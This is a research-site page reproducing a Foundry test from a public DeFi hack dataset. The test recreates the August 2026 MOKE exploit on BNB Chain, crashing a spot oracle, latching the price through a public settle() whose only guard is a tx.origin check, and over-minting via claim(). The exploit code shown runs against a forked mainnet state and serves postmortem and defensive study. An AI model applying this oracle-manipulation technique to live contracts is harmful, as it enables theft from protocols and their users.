Skip to content
THREATWIRE

Public reproduction file

src/test/2026-10/MOKE_exp.sol

Public reproduction file for dataset entry MOKE.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-10/MOKE_exp.sol141 lines
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.20;
3
4import "forge-std/Test.sol";
5
6// MOKE (Moke) - claim() over-mint via a public price settle on a manipulable spot oracle,
7// reached by EIP-7702 self-delegation. BNB Chain, Aug 2026.
8//
9// Exploit tx : 0x0776048b1b58064fb31b6513721811e7b44d6bdbe7bf5833158b241ca6756a8f (block 113652609)
10// Attacker : 0xE454a9BAC1a44868e4A9Cbe1a4B5ac231D0DCF8a (EIP-7702 self-delegated EOA)
11// Verified contracts (sourcify): MokeRelease 0x684D722E, MokeToken 0x1A35C16c.
12//
13// Root cause (confirmed against the verified MokeRelease source, not the alert text):
14// - claim() mints MOKE out of the reserve pool to the caller as `pendingUsdt / settledMokePrice`
15// (MokeRelease.claim -> MokeToken.releaseFromPair). `pendingUsdt` vests from the caller's own
16// release quota, so claim() is gated by the caller HAVING a quota - the attacker EOA already
17// held a legitimate 45,000 USDT quota as a protocol participant.
18// - settle() sets `settledMokePrice = getMokeUsdtPrice()` from the live MOKE/BNB * BNB/USDT spot
19// reserves, and its only guard is:
20// require(isSettler[msg.sender] || msg.sender == owner() || msg.sender == tx.origin, ...)
21// The `msg.sender == tx.origin` arm makes settle() callable by ANY externally-owned account.
22// So a quota holder can crash the MOKE/BNB spot, call settle() to latch that crashed price, then
23// call claim(): the same quota now mints ~`quota / crashedPrice` MOKE - here 41,684,057 MOKE from
24// a 45,000 USDT quota (settled price fell from 0.219 to ~0.000594 USDT), a ~200x over-mint. The
25// claim-time deviation check passes because the live price still equals the just-settled crashed
26// price. No admin/owner/governance/signature step stands in the attacker's path: the quota is the
27// attacker's own participant allocation, and settle()/claim()/the price-crash swaps are all public.
28//
29// WHY EIP-7702 / how this PoC substitutes for it:
30// settle()'s `msg.sender == tx.origin` guard rejects a plain attacker *contract* (msg.sender would
31// be the contract, tx.origin the EOA). The real attacker delegated their OWN EOA to their OWN code
32// via an EIP-7702 set-code tx installed in an earlier block, so the exploit ran AS the EOA with
33// msg.sender == tx.origin. Foundry 1.7.1 cannot construct/replay a 7702 set-code tx here, so this
34// PoC reproduces the identical condition by driving the typed calls directly from the attacker EOA
35// under vm.startPrank(ATTACKER, ATTACKER), which sets msg.sender == tx.origin == ATTACKER. This is
36// a faithful substitution for the self-delegation, not a different access path.
37//
38// SCOPE / what this asserts:
39// This PoC proves the vulnerability and its direct on-chain effect: the claim() over-mint. It
40// asserts the stolen MOKE (~41,684,057 MOKE minted from the reserve for a 45,000 USDT quota).
41// The real tx then LAUNDERED that stolen MOKE to 1546.536757 BNB through the project's own
42// MokeLPDividend vault and ~100 pre-seeded LP-holder accounts (plus Moolah/Venus flash loans for
43// working capital). The released MOKE is transfer-locked to whitelisted handlers (MokeToken
44// _update), so that cash-out is not a free market sell - it depends on the attacker's pre-seeded
45// 100-account dividend position and is attacker plumbing, not the bug. It is NOT reconstructed
46// here; 1546.54 BNB is the laundered realization of the theft asserted below. The MOKE used to
47// crash the spot is supplied via deal() in place of the real flash-loan sourcing.
48//
49// Run (prague required for the Venus-era state; self-contained BSC archive fork):
50// forge test --contracts ./src/test/2026-10/MOKE_exp.sol --evm-version prague -vvv
52interface IERC20 {
53 function balanceOf(address) external view returns (uint256);
54 function approve(address, uint256) external returns (bool);
57interface IMokeToken is IERC20 {
58 function releasedMokeBalance(address) external view returns (uint256);
61interface IMokeRelease {
62 function settle() external;
63 function claim() external payable;
64 function settledMokePrice() external view returns (uint256);
65 function claimFee() external view returns (uint256);
66 function userRelease(address)
67 external
68 view
69 returns (uint256 totalQuotaUsdt, uint256 pendingUsdt, uint256 claimedUsdt, uint256 lastReleaseFactor, uint256 lastClaimTime, uint256 claimedSnapshotAtReset);
70 function getMokeUsdtPrice() external view returns (uint256);
73interface IPancakeRouter {
74 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
75 uint256 amountIn,
76 uint256 amountOutMin,
77 address[] calldata path,
78 address to,
79 uint256 deadline
80 ) external;
83contract MOKE_exp is Test {
84 address internal constant ATTACKER = 0xE454a9BAC1a44868e4A9Cbe1a4B5ac231D0DCF8a;
85 IMokeToken internal constant MOKE = IMokeToken(0x1A35C16cE21903Bc17Fd020c4ED73fEdC70c1b2A);
86 IMokeRelease internal constant RELEASE = IMokeRelease(0x684D722EbF8980f49492f631f56765DD4Fb302A7);
87 address internal constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
88 address internal constant USDT = 0x55d398326f99059fF775485246999027B3197955;
89 IPancakeRouter internal constant ROUTER = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
91 uint256 internal constant EXPLOIT_BLOCK = 113_652_609;
92 // Real minted amount from the attacker EOA's single claim in the exploit trace.
93 uint256 internal constant REAL_STOLEN_MOKE = 41_684_057_233944649146143063;
95 string internal constant BSC_ARCHIVE = "https://bsc-mainnet.public.blastapi.io";
97 function setUp() public {
98 vm.createSelectFork(BSC_ARCHIVE, EXPLOIT_BLOCK - 1);
99 vm.label(ATTACKER, "Attacker");
100 vm.label(address(MOKE), "MOKE");
101 vm.label(address(RELEASE), "MokeRelease");
102 }
104 function testExploit() public {
105 (uint256 quota,,,,,) = RELEASE.userRelease(ATTACKER);
106 uint256 priceBefore = RELEASE.getMokeUsdtPrice();
107 emit log_named_decimal_uint("Attacker quota (USDT)", quota, 18);
108 emit log_named_decimal_uint("MOKE/USDT price before", priceBefore, 18);
110 // WBNB used only to crash the BNB/USDT oracle pair (stands in for the real flash-loan sourcing).
111 uint256 dumpWbnb = 633_000 ether;
112 deal(WBNB, ATTACKER, dumpWbnb);
114 vm.startPrank(ATTACKER, ATTACKER); // msg.sender == tx.origin, reproducing the 7702 self-delegation
116 // 1. Crash the BNB/USDT spot (0x16b9a8..) that getMokeUsdtPrice() reads as its BNB price.
117 IERC20(WBNB).approve(address(ROUTER), type(uint256).max);
118 address[] memory path = new address[](2);
119 path[0] = WBNB;
120 path[1] = USDT;
121 ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(dumpWbnb, 0, path, ATTACKER, block.timestamp);
123 // 2. Latch the crashed price via the public settle() (passes on msg.sender == tx.origin).
124 RELEASE.settle();
125 emit log_named_decimal_uint("settledMokePrice after crash", RELEASE.settledMokePrice(), 18);
127 // 3. Claim: the 45,000 USDT quota now mints quota/crashedPrice MOKE from the reserve pool.
128 uint256 relBefore = MOKE.releasedMokeBalance(ATTACKER);
129 RELEASE.claim{value: RELEASE.claimFee()}();
130 uint256 stolen = MOKE.releasedMokeBalance(ATTACKER) - relBefore;
132 vm.stopPrank();
134 emit log_named_decimal_uint("MOKE over-minted by claim()", stolen, 18);
135 // Honest entitlement for the same quota at the pre-crash price, for contrast.
136 emit log_named_decimal_uint("honest MOKE at pre-crash price", quota * 1e18 / priceBefore, 18);
138 // The direct bug impact: claim() mints ~41.68M MOKE (matches the real attacker EOA claim).
139 assertApproxEqRel(stolen, REAL_STOLEN_MOKE, 0.05e18);
140 }

Analysis

Dataset entry

Public Foundry test for “MOKE” (2026-08-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xe454a9bac1a44868e4a9cbe1a4b5ac231d0dcf8a

File record

Name
MOKE
Path
src/test/2026-10/MOKE_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ea7fb3f7fb512f5d8eeeb669888f64b9a91d4d9d
Language
Solidity
Size
142 lines
Date
2026-08-02
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-10/MOKE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ea7fb3f7fb512f5d8eeeb669888f64b9a91d4d9d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.